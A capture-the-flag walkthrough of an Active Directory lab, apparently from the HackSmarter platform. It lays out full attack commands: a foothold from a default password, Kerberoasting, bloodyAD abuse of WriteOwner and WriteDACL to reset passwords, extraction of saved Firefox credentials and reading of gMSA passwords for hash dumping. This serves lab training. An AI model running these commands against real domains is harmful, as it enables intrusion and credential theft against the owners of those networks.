HackSmarter StellarComms Walkthrough

Posted May 30, 2026 Updated May 30, 2026

By Elmehdi Laassiri

9 min read

Scenario :

Stellar Communications, a regional telecommunications provider, has retained the Hack Smarter Red Team to conduct a covert internal network penetration test. The client is concerned about the resilience of their internal Active Directory infrastructure against insider threats and compromised VPN endpoints.

Your objective is to simulate a compromised remote worker, pivot through the internal network, and demonstrate the ability to compromise high-value targets.

Solution :

FootHold :

We first start with out nmap scan :

  
export target=10.1.240.197
nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN Open_Ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN Nmap_sV_sC_Results.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN Nmap_Vuln_Results.txt

First look at the nmap scan , we can tell this is a Domain Controller , we got kerberos , ldap and DNS as well , we also see an FTP server that allows anonymous login . Since this is an AD machine , i usually follow this quick checklist from my methdology :

  
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now first thing we should do is add the domain name as well as the hostname to our /etc/hosts file , we can use nxc to quickly generate it :

Then i tried checking anonymous access via nxc to get a list of usernames that we can try ASREPROASTING against , also tried listing shares anonymously :

But this didn’t return anything useful either . Now let’s check the ftp server first before moving to the web server :

We see 3 folders , i decided to download everything to look at it in details :

  
==> To Download everything : Binary mode into disabling prompt then start your download . 
ftp> binary
ftp> prompt off
ftp> cd IT
ftp> mget *
ftp> cd Docs
ftp> mget *

Now we find 3 reports , multiple pictures and 3 pdf files .

==> Looking at the PDF files :

1/ Browser policy file , we see that all employee are obliged to use Firefox only as their browser .

We should note this for later , if we get access to the machine , we can dump the user’s firefox credentials that are stored and retrieve their password to spray it or something .

2/ User Guide PDF : Upon opening the file , we get the default password for all new users “Galaxy123!” , we can use it with the intial user that we got and hopefully get our foothold this way .

3/ White paper PDF : Nothing useful just general information about the company :

==> Looking at the Reports : We find a new subdomain , a portal for the company employees , we will note this for later .

==> Checking the images : Nothing useful here, just satellite images.

Now let’s try and authenticate using the default password and the username given to us .

Perfect , we got our foothold :) . Tried checking shares , but there are only default ones so i will leave it for now and test something else .

Now that we have valid creds , we can test for Kerberoasting , and also we need to generate a list of valid usernames , we’ll just keep it for later we might use it .

Tried Cracking the TGS with rockyou wordlist but that didn’t work (John won’t work against AES128 or higher , 256 in our case so we used Hashcat ) .

hashcat -m 19700 hashesss /usr/share/wordlists/rockyou.txt

I checked if we could login via Winrm as the junior analyst but we’re not part of the Remote managment group , so no WINRM access , from here we can only use BloodHound and hope we find some interesting ACLs that we can abuse .

  
# To get the ZIP file :
nxc ldap $target -u 'junior.analyst' -p 'Galaxy123!' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Looking at Bloodhound , we see that junior analyst user has WriteOwner over the STELLAROPS-CONTROL group , members of this group all have Force Change Password rights ove the OPS.CONTROLLER user .

Now the OPS Controller user doesn’t have any Out Bound rightsover objects , but he is part of the Remote Management group which means he can connect via Winrm .

Perfect , now the Goal will be to add ourselves to the STELLAROPS-Control group ,to do this we can abuse the WriteOwner privilege to change the Group Owner to be the junior.analyst user , that way we can grant ourselves Generic All rights over the group so that we can add ourselves to the group , after that we can change the password for the user OPS.Controller and login via Winrm , from there we will see how we can elevate our privileges further .

All of this can be done using BloodyAD :

  
==> Change Group Owner to Junior.analyst : 
┌──(kali㉿kali)-[~/HackSmarter/StellarComms]
└─$ bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'junior.analyst' -p 'Galaxy123!' set owner 'STELLAROPS-CONTROL' 'junior.analyst'     
[!] S-1-5-21-1085439814-3345093241-3808503133-1103 is already the owner, no modification will be made

==> Grant ourselves GenricAll over the Group :
                                                                                                                                                                                             
┌──(kali㉿kali)-[~/HackSmarter/StellarComms]
└─$ bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'junior.analyst' -p 'Galaxy123!' add genericAll 'STELLAROPS-CONTROL' 'junior.analyst'   
[+] junior.analyst has now GenericAll on STELLAROPS-CONTROL

==> Add our user to the Group :                                                                                                                                                                                            
┌──(kali㉿kali)-[~/HackSmarter/StellarComms]
└─$ bloodyad  --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'junior.analyst' -p 'Galaxy123!' add groupMember 'STELLAROPS-CONTROL' 'junior.analyst'   
[+] junior.analyst added to STELLAROPS-CONTROL

Now we can change the User’s password , again BloodyAD :)

  
bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'junior.analyst' -p 'Galaxy123!' set password 'OPS.CONTROLLER' 'WEAK123.'

Once we login the flag is found under the ops.controller Desktop . We also see the Firefox setup exe which is another indicator that there might be some credentials stored in the browser .

Privilege Escalation :

Now i looked online for where Firefox config files are stored and i found this :

  
C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles

Now upon navigating to this folder , we find 2 profiles that exist :

First one is almost empty , second one contains a lot of data :

Now i searched online for ways to extract credentials from the config files .

Apprently Firefox holds creds in 2 separate files , first one contains the encrypted credentials , and second one holds the Key to decrypt them , The 2 files are logins.json and key4.db .

I found this tool on github (firefox_decrypt) , it just needs the profile folder and it will do the extraction for us :

https://github.com/unode/firefox_decrypt/

Now first we need to import the profile back to our Kali machine , luckily for us we’re connecting via Winrm so we can easily Download the entire thing using the Download command .

  
==> First Compress the Folder : 
Compress-Archive -Path "C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr" -DestinationPath "C:\Windows\Temp\ff.zip"

==> Download it via Winrm : 
download "C:\Windows\Temp\ff.zip"

Now back on our machine , first we clone the repository , then unzip the folder and run the tool :

  
==> Install the Tool : 
git clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt

==> Unzip the folder :
unzip ff.zip

==> Decrypt the passwords :
python3 firefox_decrypt.py ../v8mn7ijj.default-esr 

Perfect we found creds for the portal that we found at the beguinning , first thing we should always try is to spray this password across all the users on the domain .

Perfect now we’ve got a new set of credentials , looking at BloodHound , this new user has Write DACL over the ENG.PAYLOAD user .

The ENG.payload user has Read GMSAPassword over the machine , which means Game over . All we have to do is read the password of a service account that can perfom a DCSync and that way we can dump all Hashes.

Now the goal once again here is pretty clear :

Use Write DACL over the Eng.payload user to grant ourselves GenericAll rights over the user –> Change that user’s password –> Use the ENG.payload user to read the GSMA Password for that service (Luckily for us this service account can perform DCSync) .

  
==> Give Astro Genric all rights over Eng.payload : 
bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'astro.researcher' -p 'Cosmos@42' add genericAll 'ENG.PAYLOAD' 'astro.researcher'

==> Change ENG passowrd:
bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'astro.researcher' -p 'Cosmos@42' set password 'ENG.PAYLOAD' 'WEAK123.'

Perfect now to read the GMSA password (GMSA account is an AD account that handles the rotation of passwords for service accounts so that admins don’t have to do it manually)

  
bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'eng.payload' -p 'WEAK123.' get object 'SERVICEACCOUNT$' --attr msDS-ManagedPassword

Now either we can use BloodyAD , or simply use nxc and it will dump the service account Hash .

  
bloodyad --host DC-STELLAR.stellarcomms.local -d 'stellarcomms.local' -u 'eng.payload' -p 'WEAK123.' get object 'SATLINK-SERVICE$' --attr msDS-ManagedPassword
Or
nxc ldap $target -u 'eng.payload' -p 'WEAK123.' --gmsa